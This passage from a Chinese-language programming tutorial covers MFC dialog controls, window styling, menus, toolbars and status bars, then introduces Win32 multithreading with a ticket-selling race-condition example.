bFlag) { Dlg.Create(IDD_DIALOG1, this); Dlg.ShowWindow(SW_SHOW); bFlag = TRUE; } else { Dlg.DestroyWindow(); bFlag = FALSE; }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="4-控件访问的七种方法"><a href="#4-控件访问的七种方法" class="headerlink" title="4.控件访问的七种方法"></a>4.控件访问的七种方法</h3><p><img src="6-3.jpg" alt=""></p><ol><li>MFC的DDX数据交换——控件和整型变量关联</li></ol><p><img src="6-4.jpg" alt=""></p><p>此时<code>MyDlg.cpp</code>中DDX部分代码如下:</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::DoDataExchange(CDataExchange* pDX){ CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CMyDlg)DDX_Text(pDX, IDC_EDIT1, m_Num1);DDX_Text(pDX, IDC_EDIT2, m_Num2);DDX_Text(pDX, IDC_EDIT3, m_Num3);//}}AFX_DATA_MAP}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>接着设置Button1,</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnButton1() { // TODO: Add your control notification handler code here m_Num3 = m_Num1 + m_Num2;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但是这样结果并不能如我们期望中正常显示,原因在于成员变量和对话框控件中的数据并不能够双向流通。</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnButton1() { // TODO: Add your control notification handler code here UpdateData(); //成员变量从对话框控件中获取数据 m_Num3 = m_Num1 + m_Num2; UpdateData(FALSE); //以成员变量的值初始化对话框控件}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="6-5.jpg" alt=""></p><ol start="2"><li><p>MFC的DDX数据交换——控件和控件变量关联</p><p>和1中类似,改变控件的类型为<code>Control</code></p><p><img src="6-6.jpg" alt=""></p></li></ol><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnButton1() { int num1, num2, num3; char c1[10], c2[10], c3[10]; m_Edit1.GetWindowText(c1, 10);//获得对应的字符串 m_Edit2.GetWindowText(c2, 10); num1 = atoi(c1);//字符串转为整型 num2 = atoi(c2); num3 = num1 + num2; itoa(num3,c3,10); m_Edit3.SetWindowText(c3);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="6-7.jpg" alt=""></p><p><strong>3-1. GetDlgItem + Get/SetWindowText【使用频率较高】</strong></p><p><strong>重要:CWnd* GetDlgItem(int nID) const; 该返回一个指向由参数nID指定的控件对象的指针。</strong></p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnButton1() { //使用GetDlgItem int num1, num2, num3; char c1[10], c2[10], c3[10]; GetDlgItem(IDC_EDIT1)->GetWindowText(c1, 10); GetDlgItem(IDC_EDIT2)->GetWindowText(c2, 10); num1 = atoi(c1); num2 = atoi(c2); num3 = num1 + num2; itoa(num3,c3,10); GetDlgItem(IDC_EDIT3)->SetWindowText(c3);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>3-2. 利用GetDlgItem改变控件文本内容</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnNumber1() { // TODO: Add your control notification handler code here CString str; GetDlgItem(IDC_Number1)->GetWindowText(str);//在中英文之间转变 if (str == "Number1:") GetDlgItem(IDC_Number1)->SetWindowText("数值1:"); else GetDlgItem(IDC_Number1)->SetWindowText("Number1:");}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="6-8.jpg" alt=""></p><blockquote><p>注意,要在控件属性中勾选通知表示接收通告消息</p></blockquote><p>3-3. 利用GetDlgItem在控件中绘图</p><pre class="line-numbers language-C++"><code class="language-C++">void CMyDlg::OnNumber2() { // TODO: Add your control notification handler code here CWnd* pWnd = GetDlgItem(IDC_Number2); CRect rc; pWnd->GetClientRect(&rc); CBrush brush(RGB(255,0,0)); CDC* pDC = pWnd->GetDC(); pDC->FillRect(&rc,&brush); pDC->SetBkMode(TRANSPARENT); pDC->TextOut(10,1,"啦啦啦"); ReleaseDC(pDC);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我做到这一步的时候突然发现,我一旦使用MyDlg菜单,位图插入符就会消失…但是调用其他菜单就不会。</p><p><img src="6-1.gif" alt=""></p><h3 id="5-改变对话框-窗口外观"><a href="#5-改变对话框-窗口外观" class="headerlink" title="5.改变对话框/窗口外观"></a>5.改变对话框/窗口外观</h3><ol><li><p>设置窗口的位置与大小</p><pre class="line-numbers language-C++"><code class="language-C++">BOOL CMyDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: Add extra initialization here SetWindowPos(&wndTopMost,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>设置窗口的形状</p><pre class="line-numbers language-C++"><code class="language-C++">BOOL CMyDlg::OnInitDialog() { CDialog::OnInitDialog(); CRect rc; GetClientRect(rc); CRgn rgn; rgn.CreateEllipticRgn(0, 0, rc.Width(), rc.Height());//设置椭圆矩形框 SetWindowRgn((HRGN) rgn.m_hObject, TRUE); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><p><img src="6-10.jpg" alt=""></p><p>==(以上第十四课内容)==</p><hr><h2 id="第七讲-界面编程"><a href="#第七讲-界面编程" class="headerlink" title="第七讲 界面编程"></a>第七讲 界面编程</h2><h3 id="1-更改窗口大小、标题、风格"><a href="#1-更改窗口大小、标题、风格" class="headerlink" title="1.更改窗口大小、标题、风格"></a>1.更改窗口大小、标题、风格</h3><blockquote><p>如果希望在应用程序窗口创建之前修改它的大小、标题和风格,应该在CMainFrame类的PreCreateWindow成员进行。</p></blockquote><blockquote><p>该有个类型是CREATESTRUCT结构的参数,如果在修改了这个参数中的成员变量的值,那么这种改变会反映到MFC底层代码中,当MFC底层代码调用CreateWindowEx去创建窗口时,它就会使用改变后的参数值去创建这个窗口。</p></blockquote><pre class="line-numbers language-C++"><code class="language-C++">//在窗口创建之前进行修改BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs){ if( !CFrameWnd::PreCreateWindow(cs) ) return FALSE; // TODO: Modify the Window class or styles here by modifying // the CREATESTRUCT cs cs.cx = 300;//更改窗口长和宽 cs.cy = 200; cs.lpszName = "SA作品";//更改标题栏名字 cs.style = cs.style & ~FWS_ADDTOTITLE; //让窗口显示出自己设置的标题 return TRUE;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>在窗口创建之后更改其风格</strong></p><pre class="line-numbers language-C++"><code class="language-C++"> SetWindowLong(m_hWnd, GWL_STYLE, GetWindowLong(m_hWnd,GWL_STYLE) & ~WS_MAXIMIZEBOX);//窗口创建之后去掉最大化选项,在OnCreate里面添加<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="7-1.jpg" alt=""></p><h3 id="2-更改光标、标题图标、窗口背景"><a href="#2-更改光标、标题图标、窗口背景" class="headerlink" title="2.更改光标、标题图标、窗口背景"></a>2.更改光标、标题图标、窗口背景</h3><pre class="line-numbers language-C++"><code class="language-C++">BOOL CTEXTView::PreCreateWindow(CREATESTRUCT& cs){ // TODO: Modify the Window class or styles here by modifying // the CREATESTRUCT cs cs.lpszClass = "hello";//在视类要调用"hello"这个图纸 return CView::PreCreateWindow(cs);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs){ if( !CFrameWnd::PreCreateWindow(cs) ) return FALSE; //自己注册窗口类 WNDCLASS MyWnd; MyWnd.cbClsExtra = NULL; MyWnd.cbWndExtra = NULL; MyWnd.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); MyWnd.hCursor = LoadCursor(NULL, IDC_CROSS); MyWnd.hIcon = LoadIcon(NULL, IDI_WARNING); MyWnd.hInstance = AfxGetInstanceHandle(); MyWnd.lpfnWndProc = ::DefWindowProc; MyWnd.lpszClassName = "Hello"; MyWnd.lpszMenuName = NULL; MyWnd.style = CS_HREDRAW | CS_VREDRAW; RegisterClass(&MyWnd); //注册 cs.lpszClass = "hello"; return TRUE;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="7-2.jpg" alt=""></p><p><strong>使用一个简单的修改</strong></p><pre class="line-numbers language-C++"><code class="language-C++">BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs){ if( !CFrameWnd::PreCreateWindow(cs) ) return FALSE; // TODO: Modify the Window class or styles here by modifying //一个简单的修改 cs.lpszClass = AfxRegisterWndClass(CS_HREDRAW | CS_VREDRAW, 0, 0, LoadIcon(NULL, IDI_WARNING)); return TRUE;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">BOOL CTEXTView::PreCreateWindow(CREATESTRUCT& cs){ // TODO: Modify the Window class or styles here by modifying // the CREATESTRUCT cs //cs.lpszClass = "hello"; cs.lpszClass = AfxRegisterWndClass(CS_HREDRAW | CS_VREDRAW, LoadCursor(NULL,IDC_CROSS),(HBRUSH)GetStockObject(BLACK_BRUSH),0); return CView::PreCreateWindow(cs);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>SetClassLong实例</strong></p><pre class="line-numbers language-C++"><code class="language-C++">int CTEXTView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CView::OnCreate(lpCreateStruct) == -1) return -1; SetClassLong(m_hWnd, GCL_HBRBACKGROUND,(LONG)GetStockObject(BLACK_BRUSH)); SetClassLong(m_hWnd, GCL_HCURSOR,(LONG) LoadCursor(NULL,IDC_CROSS)); return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct){ if (CFrameWnd::OnCreate(lpCreateStruct) == -1) return -1; if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || !m_wndToolBar.LoadToolBar(IDR_MAINFRAME)) { TRACE0("Failed to create toolbar\n"); return -1; // fail to create } if (!m_wndStatusBar.Create(this) || !m_wndStatusBar.SetIndicators(indicators, sizeof(indicators)/sizeof(UINT))) { TRACE0("Failed to create status bar\n"); return -1; // fail to create } // TODO: Delete these three lines if you don't want the toolbar to // be dockable m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY); EnableDocking(CBRS_ALIGN_ANY); DockControlBar(&m_wndToolBar); GetMenu()->GetSubMenu(0)->CheckMenuItem(0, MF_BYPOSITION | MF_CHECKED); //获得顶级菜单-->子菜单(0)-->0号菜单项前面打勾 GetMenu()->GetSubMenu(0)-> CheckMenuItem(ID_FILE_NEW, MF_CHECKED); //用ID号访问 CBitmap bmp1,bmp2; bmp1.LoadBitmap(IDB_BITMAP2);//对应checked bmp2.LoadBitmap(IDB_BITMAP3);//对应unchecked GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0, MF_BYPOSITION, &bmp1, &bmp2); bmp1.Detach();//解除绑定 bmp2.Detach(); GetMenu()->GetSubMenu(0)->EnableMenuItem(0, MF_BYPOSITION | MF_GRAYED | MF_DISABLED);//变灰和失效通常一起使用。 SetMenu(NULL);//移除菜单 CMenu menu;//加载菜单 menu.LoadMenu(IDR_MAINFRAME); SetMenu(&menu); menu.Detach();//解除menu资源和对象的关系,否则return 0后资源会被释放; CMenu my_menu;//添加顶层菜单 my_menu.CreateMenu(); GetMenu()->AppendMenu( MF_POPUP, (UINT) my_menu.m_hMenu, "my_menu"); GetMenu()->GetSubMenu(0)->AppendMenu(MF_STRING, 777, "Hello");//添加顶层菜单下的菜单项,在(0)号菜单下添加 //AppendMenu()的第一个参数决定了菜单的类型 my_menu.Detach(); SetClassLong(m_hWnd, GCL_HICON,(LONG)LoadIcon(NULL,IDI_WARNING));//设置标题栏图标 return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>动画图标</strong></p><p>先在资源面板添加Icon图形(4个)</p><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnTimer(UINT nIDEvent) //添加定时器代码{ // TODO: Add your message handler code here and/or call default static int index = 1; SetClassLong(m_hWnd, GCL_HICON,(LONG)m_hIcon[index]); index = ++index % 4; //切换图标 CFrameWnd::OnTimer(nIDEvent);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">//在CMainFrame::OnCreate()类添加代码如下m_hIcon[0] = ::LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON1));m_hIcon[1] = ::LoadIcon(theApp.m_hInstance, MAKEINTRESOURCE(IDI_ICON2));m_hIcon[2] = ::LoadIcon(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDI_ICON3));m_hIcon[3] = AfxGetApp()->LoadIcon(IDI_ICON4);SetClassLong(m_hWnd, GCL_HICON,(LONG)m_hIcon[0]);SetTimer(1,1000, NULL);//启动定时器(编号,间隔时间,NULL);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="3-工具栏编程"><a href="#3-工具栏编程" class="headerlink" title="3.工具栏编程"></a>3.工具栏编程</h3><p><strong>增加、删除工具栏按钮;响应按钮命令</strong></p><blockquote><p>工具栏是把常用的菜单命令集合起来,以按钮的形式提供给用户使用,目的是方便用户的操作。 </p><p>工具按钮的添加、删除都在资源编辑器窗口中的工具栏编辑窗口中完成。 </p><p>添加按钮响应命令的方法与菜单相同。通常工具栏与其对应的菜单项ID相同,这样,在程序运行时。可以通过单击工具栏上的按钮来调用相应菜单项的命令。</p></blockquote><p><strong>创建工具栏</strong></p><ol><li>创建工具栏资源</li></ol><p>TOOLBAR里面画几个工具栏图标</p><ol start="2"><li>构造ToolBar对象</li></ol><blockquote><p>CToolBar m_newToolBar; //主框类头文件</p></blockquote><ol start="3"><li>调用Create或CreateEx创建Window工具栏(工具栏也是窗口)</li></ol><pre class="line-numbers language-C++"><code class="language-C++">if (!m_newToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || !m_newToolBar.LoadToolBar(IDR_TOOLBAR1)) { TRACE0("Failed to create toolbar\n"); return -1; // fail to create }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ol start="4"><li><p>调用LoadToolBar加载工具栏资源</p><pre class="line-numbers language-C++"><code class="language-C++"> m_newToolBar.EnableDocking(CBRS_ALIGN_ANY); DockControlBar(&m_newToolBar);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre></li></ol><p><strong>显示和隐藏工具栏</strong></p><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnNewtoolbar() { // TODO: Add your command handler code here if (m_newToolBar.IsWindowVisible()) m_newToolBar.ShowWindow(SW_HIDE); else m_newToolBar.ShowWindow(SW_SHOW); RecalcLayout();//重新布局 DockControlBar(&m_newToolBar);//完成停靠操作}void CMainFrame::OnUpdateNewtoolbar(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here pCmdUI->SetCheck(m_newToolBar.IsWindowVisible());}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>简介代码在下面:</p><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnNewtoolbar() {ShowControlBar(&m_newToolBar,!m_newToolBar.IsWindowVisible(), FALSE);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3 id="4-状态栏编程"><a href="#4-状态栏编程" class="headerlink" title="4.状态栏编程"></a>4.状态栏编程</h3><blockquote><p>状态栏最多只有一个,也可以没有状态栏。工具栏的个数不做限制</p></blockquote><p><strong>状态栏的提示行与显示器</strong></p><blockquote><p>状态栏分为两部分:提示行与指示器。<br>左边最长的部分为提示行,通常用于显示菜单项或工具按钮的提示信息。右边由若干窗格组成的部分为状态栏指示器,通常用来显示大小写键、数字锁定键等信息。<br>框架程序专门提供了一个indicators数组来管理提示行与指示器。如果要修改状态栏的外观,则只需在indicators数组中添加或减少相应的字符串资源ID即可。</p></blockquote><p><strong>在指定的窗格中添加时钟显示</strong></p><ol><li><p>在资源编辑器中新增字符串资源ID:IDS_TIMER</p></li><li><p>将新的字符串资源ID添加到indicators数组中</p><pre class="line-numbers language-C++"><code class="language-C++">static UINT indicators[] ={ ID_SEPARATOR, // status line indicator IDS_TIMER,//在状态栏上增加时间信息 ID_INDICATOR_CAPS, ID_INDICATOR_NUM, ID_INDICATOR_SCRL,};<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p>获得系统时间并调整窗口大小以及动态改变</p><pre class="line-numbers language-C++"><code class="language-C++"> CTime t = CTime::GetCurrentTime();//获得系统时间 CString str = t.Format("%H:%M:%:%S"); CClientDC dc(this); CSize sz = dc.GetTextExtent(str); m_wndStatusBar.SetPaneInfo(1, IDS_TIMER,SBPS_NORMAL, sz.cx);//为指定的窗格设置新的ID、样式、宽度 m_wndStatusBar.SetPaneText(1, str);//TIMER在数组中的下标为1<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C++"><code class="language-C++">void CMainFrame::OnTimer(UINT nIDEvent) { ...... CTime t = CTime::GetCurrentTime();//每过1s重新设置时间,让时间能够动态更新 CString str = t.Format("%H:%M:%:%S"); m_wndStatusBar.SetPaneText(1, str); CFrameWnd::OnTimer(nIDEvent);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>==(以上第十五课内容)==</p><p><strong>在提示行中添加坐标显示</strong></p><ol><li>方法一</li></ol><pre class="line-numbers language-C++"><code class="language-C++">//在视图类中加上//#include "MainFrm.h"//#include "MyDlg.h"void CTEXTView::OnMouseMove(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default CString str; str.Format("x=%d, y=%d", point.x, point.y); ((CMainFrame*)GetParent())->m_wndStatusBar.SetWindowText(str); //主框架是视类的父窗口,通过GetParent()去拿到父窗口的指针 CView::OnMouseMove(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不过我用这个会有报错提醒</p><p><img src="7-3.jpg" alt=""></p><p>我也不知道这个报错怎么来的…最后一个报错是保护权限报错,把<code>CStatusBar m_wndStatusBar;</code>从protect放到public下就可以了。</p><p>找了半个小时发现我一在视图类里面添加<code>#include "MainFrm.h"</code>就会报错。</p><p><a href="https://www.cnblogs.com/qiernonstop/p/3717808.html" target="_blank" rel="noopener">参考链接</a></p><p>我觉得应该就是这个问题,C++中的嵌套类定义检查的问题,在 include 之后要声明一下才能使用这个类。</p><p>大概又过了二十分钟,我终于搞定了这个问题。</p><p>我在<code>MainFrm.h</code>中加入以下代码</p><pre class="line-numbers language-C++"><code class="language-C++">#include "MyDlg.h"class CMyDlg;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="7-4.jpg" alt=""></p></li><li><p>其他方法</p></li></ol><pre class="line-numbers language-C++"><code class="language-C++">void CTEXTView::OnMouseMove(UINT nFlags, CPoint point) { // TODO: Add your message handler code here and/or call default CString str; str.Format("x=%d, y=%d", point.x, point.y);// ((CMainFrame*)GetParent())->m_wndStatusBar.SetWindowText(str); //方法一:调用SetWindowText设置状态栏提示行文本 ((CMainFrame*)GetParent())->SetMessageText(str);//方法二:利用CFrameWnd类的成员SetMessageText实现,该的作用是在状态栏的提示行中设置文本。// ((CMainFrame*)GetParent())->GetMessageBar()-> SetWindowText(str);//方法三:利用CFrameWnd类的成员GetMessageBar可以返回状态栏对象的指针,这样也不用再访问CMainFrame类的保护成员变量:m_wndStatusBar。 CView::OnMouseMove(nFlags, point);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>在提示行中显示位图</strong></p><pre class="line-numbers language-C++"><code class="language-C++">CBitmapButton m_bmp; //位图对象 MainFrm.h //建立位图按钮 MainFrm.cppCRect rc(100,4,120,20);//定义矩形框if (!m_bmp.Create("", WS_CHILD|WS_VISIBLE|BS_OWNERDRAW, rc, &m_wndStatusBar, 789)) return FALSE;if (!m_bmp.LoadBitmaps(IDB_BITMAP2, IDB_BITMAP2, NULL, NULL))//四种情况对应四种位图 return FALSE;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>可以设置提示行的位图按钮点击产生效果,不过是动态资源,要手动设置三处:MainFrm.h中的声明、MainFrm.cpp中添加位图按钮响应、MainFrm.cpp中加上定义。</p></blockquote><ol><li>MainFrm.h中的声明</li></ol><p><img src="7-5.jpg" alt=""></p><ol start="2"><li>MainFrm.cpp中添加位图按钮响应</li></ol><p><img src="7-6.jpg" alt=""></p><ol start="3"><li>MainFrm.cpp中加上定义</li></ol><p><img src="7-7.jpg" alt=""></p><p>==(以上第十六课内容)==</p><hr><h2 id="第八讲-多线程与线程同步"><a href="#第八讲-多线程与线程同步" class="headerlink" title="第八讲 多线程与线程同步"></a>第八讲 多线程与线程同步</h2><h3 id="1-进程与线程"><a href="#1-进程与线程" class="headerlink" title="1.进程与线程"></a>1.进程与线程</h3><p><strong>程序</strong></p><blockquote><p>计算机指令的集合,它以文件的形式存储在磁盘上。</p></blockquote><p><strong>进程</strong></p><blockquote><p>通常被定义为一个正在运行的程序的实例,是一个程序在其自身的地址空间中的一次执行活动。 </p></blockquote><blockquote><p>进程是活的,是资源申请、调度和独立运行的单位,因此,它使用系统中的运行资源;而程序是死的,它不占用系统的运行资源。</p></blockquote><p>进程由两个部分组成:</p><p> 1、操作系统用来管理进程的<strong>内核对象</strong>。内核对象也是系统用来存放关于进程的统计信息的地方。(注意:内核对象不是进程本身) </p><p>2、地址空间。它包含所有可执行模块或DLL模块的代码和数据。它还包含动态内存分配的空间。如线程堆栈和堆分配空间。</p><p><strong>线程</strong></p><p>线程由两个部分组成:</p><p> 1、<strong>线程的内核对象</strong>,操作系统用它来对线程实施管理。内核对象也是系统用来存放线程统计信息的地方。</p><p> 2、<strong>线程堆栈</strong>,它用于维护线程在执行代码时需要的所有参数和局部变量。</p><p>当创建线程时,系统创建一个线程内核对象。该线程内核对象不是线程本身,而是操作系统用来管理线程的较小的数据结构。可以将线程内核对象视为由关于线程的统计信息组成的一个小型数据结构。 </p><p><strong>线程–>相互之间通信容易、所需要的内存开销少</strong></p><h3 id="2-简单多线程示例"><a href="#2-简单多线程示例" class="headerlink" title="2.简单多线程示例"></a>2.简单多线程示例</h3><pre class="line-numbers language-C++"><code class="language-C++">#include <windows.h>#include <iostream.h>DWORD WINAPI ThreadProc( LPVOID lpParameter); void main(){ HANDLE hThread; hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL); CloseHandle(hThread); cout << "main thread is running" << endl;}DWORD WINAPI ThreadProc( LPVOID lpParameter){ cout << "thread1 is running" << endl; return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="8-1.jpg" alt=""></p><p><strong>注意1:</strong></p><p>Main函数中<strong>调用 CloseHandle 语句没有终止新创建的线程,只是表示在主线程中对新创建的线程的引用不感兴趣,因此将其句柄关闭</strong>。 </p><p>另一方面,当关闭该句柄时,系统会递减该线程内核对象的使用计数。当使用计数为0时,系统就会释放该线程内核对象。如果没有关闭线程句柄,系统就会一直保持着对线程内核对象的引用,这样,即使该线程执行完毕,它的引用计数仍不会为0。这样该线程内核对象也就不会被释放,只有等到进程终止时,系统才会清理这些残留的对象。 </p><p>因此,在程序中,<strong>当不再需要线程句柄时,应将其关闭</strong>,让这个线程内核对象的引用计数减1。</p><blockquote><p>问题:为什么上述程序线程1没有运行?</p></blockquote><p>在主线程运行时,主线程已经执行完毕了,但是分配给主线程的时间片还没有执行完,这时候主线程返回,程序结束了,Thread1自然就不会执行。</p><blockquote><p>解决办法:</p></blockquote><ol><li>增加主线程的耗时,比如说让主线程执行一个长的循环语句,执行完这个时间片之后,系统会自动终止并跳转到Thread1.(浪费资源)</li><li>在主线程中调用Sleep()函数。通过调用API函数 Sleep(),线程可以让自己睡眠指定的一段时间。正在睡眠的线程将暂停自己的运行,放弃执行的权利,而且睡眠的时候不占用处理器时间。一旦放弃了执行权力,操作系统就会从等待运行的其他线程队列中选择一个线程来执行。</li></ol><pre class="line-numbers language-C++"><code class="language-C++">#include <windows.h>#include <iostream.h>DWORD WINAPI ThreadProc( LPVOID lpParameter); void main(){ HANDLE hThread; hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL); CloseHandle(hThread); cout << "main thread is running" << endl; Sleep(20);}DWORD WINAPI ThreadProc( LPVOID lpParameter){ cout << "thread1 is running" << endl; return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="8-2.jpg" alt=""></p><p>==(以上第十七课内容)==</p><h3 id="3-线程同步"><a href="#3-线程同步" class="headerlink" title="3.线程同步"></a>3.线程同步</h3><p><strong>火车站售票系统模拟</strong></p><pre class="line-numbers language-C++"><code class="language-C++">#include <windows.h>#include <iostream.h>DWORD WINAPI ThreadProc1( LPVOID lpParameter); //售票窗口1DWORD WINAPI ThreadProc2( LPVOID lpParameter); //售票窗口2int tickets = 1; //票号,从第一张票票号为1void main(){ HANDLE hThread1; HANDLE hThread2; hThread1 = CreateThread(NULL,0,ThreadProc1,NULL,0,NULL); hThread2 = CreateThread(NULL,0,ThreadProc2,NULL,0,NULL); CloseHandle(hThread1); CloseHandle(hThread2); Sleep(5000);}//线程1的入口函数(售票窗口1)DWORD WINAPI ThreadProc1(LPVOID lpParameter){ while (TRUE) { if (tickets <= 100)//卖超过100张就结束 { cout << "thread1 sell ticket : " << tickets ++ << endl; } else break; } return 0;}//线程2的入口函数(售票窗口2)DWORD WINAPI ThreadProc2(LPVOID lpParameter){ while (TRUE) { if (tickets <= 100) { cout << "thread2 sell ticket : " << tickets ++ << endl; } else break; } return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>程序隐患:</p><p>事实上,上述程序存在隐患,比如以下情况: </p><p>当tickets为100时,线程1函数进入 if 语句块后,正好该线程的时间片到了,操作系统就会选择线程2让其进行,而这时变量tickets的值还没有加1,因此这时变量tickets的值仍是100,线程2进入它的if 